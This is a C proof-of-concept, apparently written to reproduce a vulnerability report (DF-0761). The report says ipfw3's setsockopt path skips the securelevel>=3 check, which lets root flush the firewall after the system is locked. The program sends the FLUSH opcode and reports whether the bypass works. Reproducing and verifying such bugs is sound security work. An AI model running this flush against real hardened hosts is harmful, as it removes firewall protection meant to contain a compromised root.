DF-0761 / df0761.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-0761 โ ipfw3 sockopt path bypasses securelevel>=3 firewall-mutability gate. * * Claim: sys/net/ipfw3/ip_fw3_glue.c:50-62 ip_fw3_sockopt() dispatches every * IP_FW_X setsockopt straight to ip_fw_ctl_x_ptr WITHOUT the securelevel>=3 * check that ALL sibling glue layers enforce: * - sys/net/ipfw/ip_fw2_glue.c:65-69 (ip_fw_sockopt) HAS the check * - sys/net/dummynet3/ip_dummynet3_glue.c:159-163 HAS the check * - sys/net/pf/pf_ioctl.c:992 (securelevel>1 gate) HAS the check * * Threat model: securelevel 3 ("network immutable") is the boundary that is * supposed to contain a COMPROMISED root โ once raised, even root must not be * able to flush/alter the firewall ruleset. ipfw3 breaks that promise: a * root process can keep mutating ipfw3 via setsockopt(IP_FW_X) after * securelevel>=3. This is a privileged-only policy/logic bypass (NOT memory * corruption); there is no unprivileged escalation chain. * * Test (run as root): * 1. kldload ipfw3 (must happen at securelevel < 0; ipfw3 not auto-loaded) * 2. add a rule so the ruleset is non-empty (gives flush something to flush) * 3. raise kern.securelevel to 3 * 4. attempt setsockopt(IPPROTO_IP, IP_FW_X, {opcode=IP_FW_FLUSH}) * - UNPATCHED (#0): returns 0 -> BYPASS confirmed (securelevel gate absent) * - PATCHED (#1): returns -1/EPERM -> gate present * 5. cross-check: same setsockopt but opcode=IP_FW_GET (a SOPT_GET-style op) * is not gated by securelevel in either ipfw2 or the fix; we exercise it * only to show the path is otherwise functional. * * Build: cc -o df0761 df0761.c * Run: ./df0761 (must be root; the run.sh wrapper enforces this) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* IP_FW_X is the ipfw3 setsockopt name (sys/netinet/in.h:389 -> 49). */ #ifndef IP_FW_X #define IP_FW_X 49 #endif /* ipfw3 opcodes carried inside the IP_FW_X x_header * (sys/net/ipfw3/ip_fw3.h:372-377). */ #define OP_IP_FW_FLUSH 52 #define OP_IP_FW_GET 54 /* ip_fw_x_header (sys/net/ipfw3/ip_fw3.h:366-369): { uint16_t opcode; uint16_t pad; } */ struct ip_fw_x_header { unsigned short opcode; unsigned short pad; }; static int try_fw_x(const char *tag, unsigned short opcode) { int s, rc; struct ip_fw_x_header xh; socklen_t optlen; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { printf("[%s] socket(SOCK_RAW) failed: %s (need root)\n", tag, strerror(errno)); return -1; } memset(&xh, 0, sizeof(xh)); xh.opcode = opcode; xh.pad = 0; /* For IP_FW_X the kernel reads at least sizeof(ip_fw_x_header) (4 bytes) * from sopt_val; for OP_IP_FW_FLUSH the handler needs no further payload. */ errno = 0; rc = setsockopt(s, IPPROTO_IP, IP_FW_X, &xh, sizeof(xh)); printf("[%s] setsockopt(IP_FW_X, opcode=%u) -> rc=%d errno=%d (%s)\n", tag, opcode, rc, errno, rc ? strerror(errno) : "OK"); close(s); return rc; } int main(void) { long sl; if (geteuid() != 0) { fprintf(stderr, "must run as root (raw socket + securelevel)\n"); return 2; } if (sizeof(struct ip_fw_x_header) != 4) { fprintf(stderr, "internal: ip_fw_x_header size %zu != 4\n", sizeof(struct ip_fw_x_header)); return 2; } /* Read kern.securelevel via sysctlbyname-equivalent: read /proc-free path. */ { int v = -999; size_t l = sizeof(v); int sysctl(const int *, u_int, void *, size_t *, const void *, size_t); int name[2] = { 1 /*CTL_KERN*/, 9 /*KERN_SECURELVL, sys/sys/sysctl.h:505*/ }; if (sysctl(name, 2, &v, &l, NULL, 0) == 0) { printf("[env] kern.securelevel = %d\n", v); sl = v; } else { printf("[env] sysctl securelevel failed: %s\n", strerror(errno)); sl = -999; } } /* Sanity: confirm ipfw3 path is wired (OP_IP_FW_GET is a get, ungated). */ try_fw_x("sanity-GET", OP_IP_FW_GET); /* The actual bypass probe. */ if (sl >= 3) { printf("[probe] securelevel>=3 active; ipfw2 path returns EPERM; " "ipfw3 path must ALSO return EPERM if the gate is present.\n"); } else { printf("[probe] WARNING: securelevel<3 (%ld); EPERM test is " "inconclusive โ run.sh raises securelevel to 3 first.\n", sl); } int rc = try_fw_x("bypass-FLUSH", OP_IP_FW_FLUSH); /* Result marker: * BYPASS: rc==0 at securelevel>=3 -> securelevel gate is missing * GATED : rc<0 errno==EPERM -> securelevel gate is present */ if (sl >= 3) { if (rc == 0) { printf("\n=== RESULT: BYPASS CONFIRMED ===\n" "setsockopt(IP_FW_X, FLUSH) succeeded at " "securelevel=%ld -> ipfw3 securelevel>=3 gate is " "MISSING (DF-0761 reproduced)\n", sl); return 0; } else if (errno == EPERM) { printf("\n=== RESULT: GATED (FIXED) ===\n" "setsockopt(IP_FW_X, FLUSH) returned EPERM at " "securelevel=%ld -> securelevel>=3 gate is " "present (bug closed)\n", sl); return 1; } else { printf("\n=== RESULT: INCONCLUSIVE ===\n" "setsockopt returned errno=%d (%s), not 0 and not " "EPERM โ investigate\n", errno, strerror(errno)); return 3; } } return 0; } |